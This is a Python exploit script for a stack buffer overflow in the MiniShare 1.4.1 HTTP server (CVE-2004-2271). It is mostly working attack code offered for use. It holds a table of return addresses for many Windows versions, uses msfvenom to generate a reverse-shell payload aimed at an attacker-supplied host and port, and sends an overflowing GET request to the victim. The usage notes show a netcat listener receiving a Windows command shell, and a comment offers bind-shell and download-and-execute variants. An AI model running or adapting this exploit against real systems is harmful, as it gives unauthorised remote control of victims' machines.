#!/usr/bin/python

#################################################
#                                               #
# MiniShare 1.4.1 Remote Exploit                #
# CVE-2004-2271                                 #
# Homepage: http://minishare.sourceforge.net/   #
#                                               #
#################################################

'''
Author : Helvio Junior (M4v3r1cK)
Date : 2018-08-01

Thanks to Naka (iDeadR00t) for help-me during the tests.

##############
## Utilization:

Open yout listenner, for example:
#nc -lvp 4444
listening on [any] 4444 ...

In another shell run the exploit
#exploit-reverse-shell.py 192.168.1.125 80 192.168.1.10 4444 22
[+] Generating shellcode...
[+] Shell code generated with 348 bytes
[*] Before continue open your listenner on port 4444 and press ENTER to continue.

[+] Connecting to 192.168.1.125:80
[+] Trying target address 0x7e3a9353
[+] Sending evil payload
[x] 0wn3d by M4v3r1cK!

Wait a few seconds and see the magig happens!!!

192.168.1.125: inverse host lookup failed: Unknown host
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.125] 1035
Microsoft Windows XP [version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrateur>

'''

import socket
import sys
import subprocess, os, unicodedata

class Address:

    addr = None
    system = None
    offset = 0

    def __init__(self, offset, addr, system):
        self.offset = offset
        self.addr = addr
        self.system = system

'''Make addresses list'''
'''EIP Return Address 
Sources: 
   https://www.exploit-db.com/exploits/16350/
   https://www.exploit-db.com/exploits/16754/

'''

adressList = []
adressList.append(Address(1787, 0x702ea6f7, "Windows NT 4.0 SP4 English"))
adressList.append(Address(1787, 0x77f329f8, "Windows NT 4.0 SP6 English"))
adressList.append(Address(1787, 0x750362c3, "Windows 2000 SP0 English"))
adressList.append(Address(1787, 0x75031d85, "Windows 2000 SP1 English"))
adressList.append(Address(1787, 0x7503431b, "Windows 2000 SP2 English"))
adressList.append(Address(1787, 0x74fe1c5a, "Windows 2000 SP3 English"))
adressList.append(Address(1787, 0x7754a3ab, "Windows 2000 SP0-SP3 English")) # jmp esp
adressList.append(Address(1787, 0x7517f163, "Windows 2000 SP4 English (Option 1)"))
adressList.append(Address(1787, 0x75031dce, "Windows 2000 SP4 English (Option 2)"))
adressList.append(Address(1787, 0x71c03c4d, "Windows 2003 SP0 English")) # push esp, ret
adressList.append(Address(1787, 0x77403680, "Windows 2003 SP1-SP2 English")) # jmp esp
adressList.append(Address(1787, 0x77402680, "Windows 2003 SP2 English")) # jmp esp
adressList.append(Address(1787, 0x7c86fed3, "Windows 2003 SP0"))
adressList.append(Address(1787, 0x7c86a01b, "Windows 2003 SP2"))
adressList.append(Address(1787, 0x71ab1d54, "Windows XP SP0-SP1 English (Option 1)"))# push esp, ret
adressList.append(Address(1787, 0x71ab7bfb, "Windows XP SP0-SP1 English (Option 2)"))
adressList.append(Address(1787, 0x77dc5533, "Windows XP SP1 English")) #JMP ESP - user32.dll   - WinXP SP1 English
adressList.append(Address(1787, 0x71ab9372, "Windows XP SP2 English"))
adressList.append(Address(1787, 0x7e429353, "Windows XP SP3 English"))
adressList.append(Address(1787, 0x77d4754a, "Windows XP SP0/1 French")) #JMP ESP - user32.dll   - WinXP SP1 French
adressList.append(Address(1787, 0x77d5af0a, "Windows XP SP2 German"))
adressList.append(Address(1787, 0x77d5af0a, "Windows XP SP2 French"))
adressList.append(Address(1787, 0x7e3a9353, "Windows XP SP3 French"))
adressList.append(Address(1787, 0x77d4e26e, "Windows XP SP2 Polish"))



if len(sys.argv)<=4:

 soList = ""
 for (i, item) in enumerate(adressList):
    soList += "   %d\t%s\n" % (i, item.system)

 sys.exit('''Usage: python %s <IP Address> <Port> <Local IP> <Local Port> <OS choice>

%s
 ''' % (sys.argv[0],soList))

host	= sys.argv[1]		# Victim's IP
port	= int(sys.argv[2])	# Victim's Port
lhost	= sys.argv[3]	    # Attacker's IP
lport	= int(sys.argv[4])	# Attacker's Port
os	= int(sys.argv[5])	    # OS Choice
ret	= adressList[os]			        # Define array containing return addresses


def toHex(s):
    lst = []
    for ch in s:
        hv = hex(ord(ch)).replace('0x', '')
        if len(hv) == 1:
            hv = '0'+hv
        lst.append(hv)
    
    return reduce(lambda x,y:x+y, lst)

def reversehex(hex):
    try:
        data = unicodedata.normalize('NFKD', hex).encode('ascii', 'ignore')
    except:
        data = "%s" % hex

    data = "".join(map(str.__add__, data[-2::-2], data[-1::-2]))
    return data

print '[+] Generating shellcode...'

proc = subprocess.Popen("msfvenom -p windows/shell_reverse_tcp EXITFUNC=process -a x86 LHOST=%s LPORT=%d -f raw -b '\\x00\\x3a\\x26\\x3f\\x25\\x23\\x20\\x0a\\x0d\\x2f\\x2b\\x0b\\x5c\\x40' 2>/dev/null" % (lhost, lport), shell=True, stdout=subprocess.PIPE)

shellcode = proc.stdout.read()


if len(shellcode) == 0:
    print "[-] Erro generatting payload"
    sys.exit(1)

print '[+] Shell code generated with %d bytes' % len(shellcode)
print '[*] Before continue open your listenner on port %d and press ENTER to continue.' % lport

raw_input()

'''
if do you want you can try an direct bind shell changing the line below

proc = subprocess.Popen("msfvenom -p windows/shell_bind_tcp EXITFUNC=process -a x86 LPORT=%s -f raw -b '\\x00\\x3a\\x26\\x3f\\x25\\x23\\x20\\x0a\\x0d\\x2f\\x2b\\x0b\\x5c\\x40' 2>/dev/null" % (lport), shell=True, stdout=subprocess.PIPE)

Or other payloads that you can see at:
#msfvenom --list payloads | grep windows
#msfvenom -p windows/download_exec --list-options

'''


print "[+] Connecting to %s:%d" % (host, port)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    sock.connect((host, port))
except:
    print ("[-] Connection error!")
    sys.exit(1)

print "[+] Trying target address 0x%08x" % ret.addr


s1=1787
s1 -= len(shellcode)

buffer = "GET "
buffer += "\x90"*s1
buffer += shellcode
buffer += reversehex("%08x" % ret.addr).decode("hex")
#buffer += "A"*4
buffer += "\x90"*8
#buffer += "\xcc"

'''/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb 
nasm > add esp, -1000
00000000  81C418FCFFFF      add esp,0xfffffc18
nasm > jmp esp
00000000  FFE4              jmp esp
 '''

buffer += '\x81\xC4\x18\xFC\xFF\xFF' # add ESP - 1000
buffer += '\xff\xe4' # jmp ESP
buffer += "\x90"*8

buffer += " HTTP/1.1\r\n\r\n"

print '[+] Sending evil payload'
sock.send(buffer)

sock.close()

print '[x] 0wn3d by M4v3r1cK!'

#os.system("nc -nv %s %d" % (host,lport))
